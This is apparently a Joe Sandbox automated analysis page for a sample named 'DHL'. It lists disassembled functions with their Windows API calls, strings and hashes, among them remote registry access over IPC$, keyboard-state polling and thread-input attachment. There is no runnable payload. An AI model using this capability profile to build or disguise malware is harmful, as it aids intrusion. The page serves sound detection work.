Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: d1022139be46755b70c7676c017f4578e88a40ce1fb18538a43bdde992ad7e80
Instruction ID: 30f439c35a77e4865fd8e63845d14477722aec3000b548846c0eab53f30a5eec
Opcode Fuzzy Hash: d1022139be46755b70c7676c017f4578e88a40ce1fb18538a43bdde992ad7e80
Instruction Fuzzy Hash: F8411E72804219ABCF04EBE0DE46EEEB778AF96340F504465F50572092EF356F49CBA1

Function 00A006DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 009A6B57: _wcslen.LIBCMT ref: 009A6B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00A007A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00A007BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00A007DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00A00804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00A0082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00A00837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00A0083C

Strings

\CLSID, xrefs: 00A00724
\IPC$, xrefs: 00A00784
SOFTWARE\Classes\, xrefs: 00A0070E

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 578fe0d7041d1dfa6dff83dc21c5fefc0223b98e9a4332bb9909f6f3ab16d787
Instruction ID: b1d8889453820ea174301042ebe8c39377b12d7c55629432f76d67aa280e4e39
Opcode Fuzzy Hash: 578fe0d7041d1dfa6dff83dc21c5fefc0223b98e9a4332bb9909f6f3ab16d787
Instruction Fuzzy Hash: 4941E772C10229ABDF15EBA4DC95EEEB778BF45350F444529F901B31A1EB349E04CBA0

Function 00A23C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A23C5C
CoInitialize.OLE32(00000000), ref: 00A23C8A
CoUninitialize.OLE32 ref: 00A23C94
_wcslen.LIBCMT ref: 00A23D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00A23DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00A23ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00A23F0E
CoGetObject.OLE32(?,00000000,00A3FB98,?), ref: 00A23F2D
SetErrorMode.KERNEL32(00000000), ref: 00A23F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00A23FC4
VariantClear.OLEAUT32(?), ref: 00A23FD8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 996e01aa564547b0584c3b10fa74ba607060c75c3c1db76c4dc78ed432ac41ed
Instruction ID: a41892d16f1726804d91691908c42e2c3ea0477fcb3130cc545ed863d109ceaf
Opcode Fuzzy Hash: 996e01aa564547b0584c3b10fa74ba607060c75c3c1db76c4dc78ed432ac41ed
Instruction Fuzzy Hash: 98C147726083159FCB00DF68D98492BB7E9FF8A744F10492DF98A9B211D735EE05CB52

Function 00A17A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00A17AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00A17B8F
SHGetDesktopFolder.SHELL32(?), ref: 00A17BA3
CoCreateInstance.OLE32(00A3FD08,00000000,00000001,00A66E6C,?), ref: 00A17BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00A17C74
CoTaskMemFree.OLE32(?,?), ref: 00A17CCC
SHBrowseForFolderW.SHELL32(?), ref: 00A17D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00A17D7A
CoTaskMemFree.OLE32(00000000), ref: 00A17D81
CoTaskMemFree.OLE32(00000000), ref: 00A17DD6
CoUninitialize.OLE32 ref: 00A17DDC

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 6154eca850ad5f5cf0efcc25706b3ed0e3109e5997a7ff74953a8f5731c67481
Instruction ID: 80c2527186fd48e45a811617979258fd5179f8bd0af86e243e0ec658dbbb18e5
Opcode Fuzzy Hash: 6154eca850ad5f5cf0efcc25706b3ed0e3109e5997a7ff74953a8f5731c67481
Instruction Fuzzy Hash: FEC11C75A04119AFCB14DFA4C884DAEBBF9FF48314B149499F41ADB261D730EE85CB90

Function 00A3541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00A35504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A35515
CharNextW.USER32(00000158), ref: 00A35544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00A35585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00A3559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A355AC

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: c283489032d617e72904fb0eea9af5553bce31e659e96d9f4a58c1944a44bb9f
Instruction ID: 8f5b497eb3ebece8602eabeeb552c9f094c1ffba8edb556e11e03d19f3d90e7f
Opcode Fuzzy Hash: c283489032d617e72904fb0eea9af5553bce31e659e96d9f4a58c1944a44bb9f
Instruction Fuzzy Hash: 5F618E71D00608AFDF14DFA8CC85AFE7BB9EB09720F108145F925A7291D7749A81DBA0

Function 009FFA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 009FFAAF
SafeArrayAllocData.OLEAUT32(?), ref: 009FFB08
VariantInit.OLEAUT32(?), ref: 009FFB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 009FFB3A
VariantCopy.OLEAUT32(?,?), ref: 009FFB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 009FFBA1
VariantClear.OLEAUT32(?), ref: 009FFBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 009FFBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 009FFBCC
VariantClear.OLEAUT32(?), ref: 009FFBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 009FFBE9

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 22d8166808d40c29f26e8f6ce2b78531174a79c349de719544b69b0751c5621d
Instruction ID: 3684f98fff135e429ed7c63fdff990b0b5e026e8595e89f8bebbc9be3030c7f2
Opcode Fuzzy Hash: 22d8166808d40c29f26e8f6ce2b78531174a79c349de719544b69b0751c5621d
Instruction Fuzzy Hash: A0414175A0021D9FCB00DFA4DC689BDBBB9EF48355F008065F956A7261DB30E946CB90

Function 00A09C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00A09CA1
GetAsyncKeyState.USER32(000000A0), ref: 00A09D22
GetKeyState.USER32(000000A0), ref: 00A09D3D
GetAsyncKeyState.USER32(000000A1), ref: 00A09D57
GetKeyState.USER32(000000A1), ref: 00A09D6C
GetAsyncKeyState.USER32(00000011), ref: 00A09D84
GetKeyState.USER32(00000011), ref: 00A09D96
GetAsyncKeyState.USER32(00000012), ref: 00A09DAE
GetKeyState.USER32(00000012), ref: 00A09DC0
GetAsyncKeyState.USER32(0000005B), ref: 00A09DD8
GetKeyState.USER32(0000005B), ref: 00A09DEA

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: e65cca4195fa35105f85a046d4a7d28aa2eab22cbc986237095cf1cb9b346dcf
Instruction ID: 15367d114fc6f4c2e16b9d7fbc17d22ca00d2620e71998d83506b03a71a8d3ae
Opcode Fuzzy Hash: e65cca4195fa35105f85a046d4a7d28aa2eab22cbc986237095cf1cb9b346dcf
Instruction Fuzzy Hash: 4D41C6349447CE6DFF319760E8143B7BEA06F11344F08805ADAC6565C3EBA59DC8C7A2

Function 00A2055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00A205BC
inet_addr.WSOCK32(?), ref: 00A2061C
gethostbyname.WSOCK32(?), ref: 00A20628
IcmpCreateFile.IPHLPAPI ref: 00A20636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00A206C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00A206E5
IcmpCloseHandle.IPHLPAPI(?), ref: 00A207B9
WSACleanup.WSOCK32 ref: 00A207BF

Strings

Ping, xrefs: 00A20676

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 5a24ba2d7751809b6ec75f34a49407065a753138afc55b6bfb7187aafcc9a254
Instruction ID: 8f3806dca9ff316f8c45a2cf6d83f8acd8cc528fabb89ed1cf49344b8835197e
Opcode Fuzzy Hash: 5a24ba2d7751809b6ec75f34a49407065a753138afc55b6bfb7187aafcc9a254
Instruction Fuzzy Hash: 8B91AC356086119FD320CF19E888F1ABBE1AF84328F1485A9F4699B6A3C770ED41CF91

Function 00A28CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00A28CF3

Part of subcall function 00A08E54: _wcslen.LIBCMT ref: 00A08E77

_wcslen.LIBCMT ref: 00A28D4E
_wcslen.LIBCMT ref: 00A28D9C
_wcslen.LIBCMT ref: 00A28DDC
_wcslen.LIBCMT ref: 00A28E6E

Strings

stdcall, xrefs: 00A28DD6, 00A28DDB
winapi, xrefs: 00A28D96, 00A28D9B
none, xrefs: 00A28E65, 00A28E6A
cdecl, xrefs: 00A28D48, 00A28D4D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 791898908201d1f472228ba28084709764c634b58bdffa41a9260ca34df40ccd
Instruction ID: dc22e5bd724f6a0ff83835ac418d9f7989fae5aceaed5216ade285338184c49c
Opcode Fuzzy Hash: 791898908201d1f472228ba28084709764c634b58bdffa41a9260ca34df40ccd
Instruction Fuzzy Hash: 8E51AD32A011269BCB14DF6CD9509BEB3B5BF65764B214239F826E72C4DB38DD44C790

Function 00A2372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00A23774
CoUninitialize.OLE32 ref: 00A2377F
CoCreateInstance.OLE32(?,00000000,00000017,00A3FB78,?), ref: 00A237D9
IIDFromString.OLE32(?,?), ref: 00A2384C
VariantInit.OLEAUT32(?), ref: 00A238E4
VariantClear.OLEAUT32(?), ref: 00A23936

Strings

NULL Pointer assignment, xrefs: 00A2381E
Failed to create object, xrefs: 00A237E4, 00A2389A
Invalid parameter, xrefs: 00A23865

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 936110db65c4dfc829474fbdecf21ccfcd8c84dfcdf2dab5200ab40a155c7d8c
Instruction ID: fefdf3b069dfd429b86721b368a0479f357a09cc29eec1675acfb2851bd0009e
Opcode Fuzzy Hash: 936110db65c4dfc829474fbdecf21ccfcd8c84dfcdf2dab5200ab40a155c7d8c
Instruction Fuzzy Hash: 5D61B272608321AFDB10DF68D949F6AB7F4EF86714F000829F5859B291D774EE48CB92

Function 00A13388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00A133CF

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00A133F0

Strings

^ ERROR , xrefs: 00A1349E
"%s" (%d) : ==> %s:, xrefs: 00A13522
Error: , xrefs: 00A134D1
Incorrect parameters to object property !, xrefs: 00A134AB
Line %d (File "%s"):, xrefs: 00A13443, 00A1345C
"%s" (%d) : ==> %s:%s%s, xrefs: 00A13504

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: d2e955a3eebcd29c5c69ff89930bbb618f85866c339a46fbd03a46189fa7542e
Instruction ID: 73df3b6ba91288ca305b83cf0a8e23c4d8fd6df5ec491f83b22cb438cd9aa2bb
Opcode Fuzzy Hash: d2e955a3eebcd29c5c69ff89930bbb618f85866c339a46fbd03a46189fa7542e
Instruction Fuzzy Hash: E1518E32900219BADF15EBE0DE46EEEB779BF45740F108465F40972092EF212F98CBA0

Function 00A0B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00A0B5FC
_wcslen.LIBCMT ref: 00A0B608
_wcslen.LIBCMT ref: 00A0B64D
_wcslen.LIBCMT ref: 00A0B68C
_wcslen.LIBCMT ref: 00A0B6C7

Strings

EXISTS, xrefs: 00A0B686, 00A0B68B
APPEND, xrefs: 00A0B6C1, 00A0B6C6
REMOVE, xrefs: 00A0B602, 00A0B607
KEYS, xrefs: 00A0B647, 00A0B64C

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 02cd6fab163ebc9ec6fd3f0041b9bc70ad857f633f67cf17b87411a80eda3564
Instruction ID: 2312dfce650a99a5305a4c3a0c65e4794487cc52566b1e4415557df739b23e5d
Opcode Fuzzy Hash: 02cd6fab163ebc9ec6fd3f0041b9bc70ad857f633f67cf17b87411a80eda3564
Instruction Fuzzy Hash: FD41C532A1112B9BCB105F7DDE905BE77B5ABA1B94F244629E421DB2C4E732CD81C7A0

Function 00A15393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A153A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00A15416
GetLastError.KERNEL32 ref: 00A15420
SetErrorMode.KERNEL32(00000000,READY), ref: 00A154A7

Strings

UNKNOWN, xrefs: 00A15444
READONLY, xrefs: 00A15452
INVALID, xrefs: 00A15459
NOTREADY, xrefs: 00A1544B
READY, xrefs: 00A15460, 00A15468

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: c5937081706eba174908ecdb2c6b0163bf01ad374a6bb77738891cdb583cbfb3
Instruction ID: 5595a9fca681314c4e00994edea45bf9cc0c1844b66d60d57f6bf336e771a247
Opcode Fuzzy Hash: c5937081706eba174908ecdb2c6b0163bf01ad374a6bb77738891cdb583cbfb3
Instruction Fuzzy Hash: 9C314B39E00604DFD710DF68D884BEABBB9EF95315F148065E4059B292DB71DDC6CB90

Function 00A33C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00A33C79
SetMenu.USER32(?,00000000), ref: 00A33C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A33D10
IsMenu.USER32(?), ref: 00A33D24
CreatePopupMenu.USER32 ref: 00A33D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00A33D5B
DrawMenuBar.USER32 ref: 00A33D63

Strings

0, xrefs: 00A33C54
F, xrefs: 00A33D4E

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: ac0f7814f7f986b0ada385433f0596bab850dfbd15fd4a7f2869e33bc2111d82
Instruction ID: 2685999517d73c4670ad53dfe6287a92e5af9f24ec5fbea5c21d65baafcd1e11
Opcode Fuzzy Hash: ac0f7814f7f986b0ada385433f0596bab850dfbd15fd4a7f2869e33bc2111d82
Instruction Fuzzy Hash: 6E41577AA05209AFDF14CFA4DC84BAA7BB5FF49350F144429FA46A7360D730AA11CF94

Function 00A33A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00A33A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00A33AA0
GetWindowLongW.USER32(?,000000F0), ref: 00A33AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00A33AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00A33B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00A33BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00A33BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00A33BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00A33BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00A33C13

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: a9e7767686eb7340d8689a546106cf4e5e474c04e9b6aa4442286e248851b5a1
Instruction ID: b6cc9c5cd4770fe20be29bc7c8102c96eaa2f10fe4df97b46438d72e4e146ef5
Opcode Fuzzy Hash: a9e7767686eb7340d8689a546106cf4e5e474c04e9b6aa4442286e248851b5a1
Instruction Fuzzy Hash: 5B616C76900248AFDB10DFA8CC81EEE77F8EB49710F104199FA15E72A1D774AE46DB50

Function 00A0B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00A0B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00A0A1E1,?,00000001), ref: 00A0B165
GetWindowThreadProcessId.USER32(00000000), ref: 00A0B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00A0A1E1,?,00000001), ref: 00A0B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 00A0B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00A0A1E1,?,00000001), ref: 00A0B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00A0A1E1,?,00000001), ref: 00A0B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00A0A1E1,?,00000001), ref: 00A0B1FD
